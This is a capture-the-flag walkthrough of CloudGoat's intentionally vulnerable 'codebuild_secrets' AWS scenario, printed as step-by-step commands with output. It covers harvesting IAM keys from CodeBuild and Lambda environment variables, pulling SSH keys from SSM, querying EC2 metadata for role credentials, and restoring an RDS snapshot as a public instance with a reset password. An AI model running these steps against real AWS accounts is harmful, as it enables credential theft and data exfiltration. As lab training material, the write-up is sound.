Cloudgoat AWS CTF solution- Scenerio 9 (codebuild_secrets)
Scenerio 9- codebuild_secrets
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
chmod +x cloudgoat.py
./cloudgoat.py config whitelist --auto
./cloudgoat.py create codebuild_secrets
Scenario Resources
1 CodeBuild Project
1 Lambda function
1 VPC with:
- RDS x 1
- EC2 x 1
2 IAM Users
Scenario Start(s)
IAM User “Solo”
Scenario Goal(s)
A pair of secret strings stored in a secure RDS database.
Summary
Starting as the IAM user Solo, the attacker first enumerates and explores CodeBuild projects, finding unsecured IAM keys for the IAM user Calrissian therein. Then operating as Calrissian, the attacker discovers an RDS database. Unable to access the database’s contents directly, the attacker can make clever use of the RDS snapshot functionality to acquire the scenario’s goal: a pair of secret strings.
Alternatively, the attacker may explore SSM parameters and find SSH keys to an EC2 instance. Using the metadata service, the attacker can acquire the EC2 instance profile’s keys and push deeper into the target environment, eventually gaining access to the original database and the scenario goal inside (a pair of secret strings) by a more circuitous route.
Note: This scenario may require you to create some AWS resources, and because CloudGoat can only manage the resources it creates, you should remove them manually before running ./cloudgoat destroy
.
Exploitation Route(s)
Walkthrough — Calrissian via RDS Snapshot
- As the IAM User Solo, the attacker explores the AWS environment and enumerates its permissions, and discovers they are able to list CodeBuild projects.
aws codebuild list-projects --profile solo
2. Enumerating code build project “cg-codebuild-codebuild_secrets_cgidnmff3ngu3y”
a. Within the CodeBuild project, the we found IAM keys for the user “Calrissian” stored in environment variables.
aws codebuild batch-get-projects --names cg-codebuild-codebuild_secrets_cgidnmff3ngu3y --profile solo
3. Logging in with new creds and enumerating permissions-
4. We were able to list RDS instances and discover the private database which contains the scenario’s goal.
InstanceIdentifier- cg-rds-instance-codebuild-secrets-cgidnmff3ngu3y
IP/domain- cg-rds-instance-codebuild-secrets-cgidnmff3ngu3y.czksqkjfewb6.us-east-1.rds.amazonaws.com
Port- 5432
MasterUsername- cgadmin
DBName- securedb
But we were unable to connect to it from the internet :(
5. While we were unable to directly access the RDS instance, we have permission to create a snapshot from it.
aws rds create-db-snapshot --db-instance-identifier cg-rds-instance-codebuild-secrets-cgidnmff3ngu3y --db-snapshot-identifier cloudgoat --profile calrissian
DBSnapshotIdentifier- cloudgoat
6. Creating a DB instance from the snapshot and making it accessible from the internet-
a. Finding relevant subnet groups-
aws rds describe-db-subnet-groups --profile calrissian
“arn:aws:rds:us-east-1:864154101007:subgrp:cloud-goat-rds-testing-subnet-group-codebuild_secrets_cgidnmff3ngu3y”
b. Finding relevant subnet -
aws ec2 describe-security-groups --profile calrissian
GroupId- sg-03bb0912657c162f0
c. Creating db instance-
aws rds restore-db-instance-from-db-snapshot --db-instance-identifier copy-of-old --db-snapshot-identifier cloudgoat --db-subnet-group-name cloud-goat-rds-testing-subnet-group-codebuild_secrets_cgidnmff3ngu3y --publicly-accessible --vpc-security-group-ids sg-03bb0912657c162f0 --profile calrissian
7. Connecting to new DB instance-
a. Listing available DB instances-
aws rds describe-db-instances --profile calrissian
b. Changing the password-
aws rds modify-db-instance --db-instance-identifier copy-of-old --master-user-password cloudgoat --profile calrissian
c. Connecting to the new instance-
nmap -Pn --disable-arp-ping -n -vv -sS -p5432 copy-of-old.czksqkjfewb6.us-east-1.rds.amazonaws.com
psql -h copy-of-old.czksqkjfewb6.us-east-1.rds.amazonaws.com -U cgadmin -d postgres
#list available databases
\l#change to database
\c securedb#list tables
\dtselect * from sensitive_information;
Key1- V\!C70RY-PvyOSDptpOVNX2JDS9K9jVetC1xI4gMO4
Key2- V\!C70RY-JpZFReKtvUiWuhyPGF20m4SDYJtOTxws6
Walkthrough — Solo via EC2 Metadata service
- As solo user iam-enumerate tool was unable to determine ssm permissions but upon manually checking solo’s permissions we can see we have ssm:DescribeParameters and ssm:GetParameter permissions.
2. Listing SSM parameters-
aws ssm describe-parameters --profile solo
Prameter name- cg-ec2-private-key-codebuild_secrets_cgidnmff3ngu3y
- In the account’s SSM parameters, we found a pair of SSH keys stored without any encryption.
aws ssm get-parameter --name cg-ec2-private-key-codebuild_secrets_cgidnmff3ngu3y --profile solo
For saving this key-
echo -e <ssh_key_without_newlines> > ssh_key_private.out
chmod 400 ssh_key_private.out
2. Then we use this key to login into one of the ec2 instances-
a. Discovering an EC2 instance-
aws ec2 describe-instances --profile solo
b. Logging into ec2 instance using the private key found in the previous step-
ssh -i ssh_key_private.out ubuntu@52.71.210.122
Branch A
- Now working with shell access, we can query the EC2 metadata service and discover the instance-profile’s IAM keys, and log in using ec2’s role.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-codebuild_secrets_cgidnmff3ngu3y
2. Enumerating ec2’s role permissions we can see that we have permissions to list lambda functions-
2. We found database creds in the environment variables on lambda function-
aws lambda list-functions --profile ec2_role
“DB_USER”: “cgadmin”,
“DB_NAME”: “securedb”,
“DB_PASSWORD”: “wagrrrrwwgahhhhwwwrrggawwwwwwrr”
3. Our ec2 role also has permission to enumerate rds instances-
aws rds describe-db-instances --profile ec2_role
4. Logging into database and reading secrets-
psql -h cg-rds-instance-codebuild-secrets-cgidnmff3ngu3y.czksqkjfewb6.us-east-1.rds.amazonaws.com -U cgadmin -d securedb
Branch B
- Now working with shell access, the we query the EC2 metadata service and discover that the database address is stored there, along with admin credentials-
curl http://169.254.169.254/latest/user-data
psql postgresql://cgadmin:wagrrrrwwgahhhhwwwrrggawwwwwwrr@cg-rds-instance-codebuild-secrets-cgidnmff3ngu3y.czksqkjfewb6.us-east-1.rds.amazonaws.com:5432/securedb
2. Reading secrets using these creds-
psql -h cg-rds-instance-codebuild-secrets-cgidnmff3ngu3y.czksqkjfewb6.us-east-1.rds.amazonaws.com -U cgadmin -d securedb#listing tables
\dtselect * from sensitive_information;
References-
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/codebuild_secrets/README.md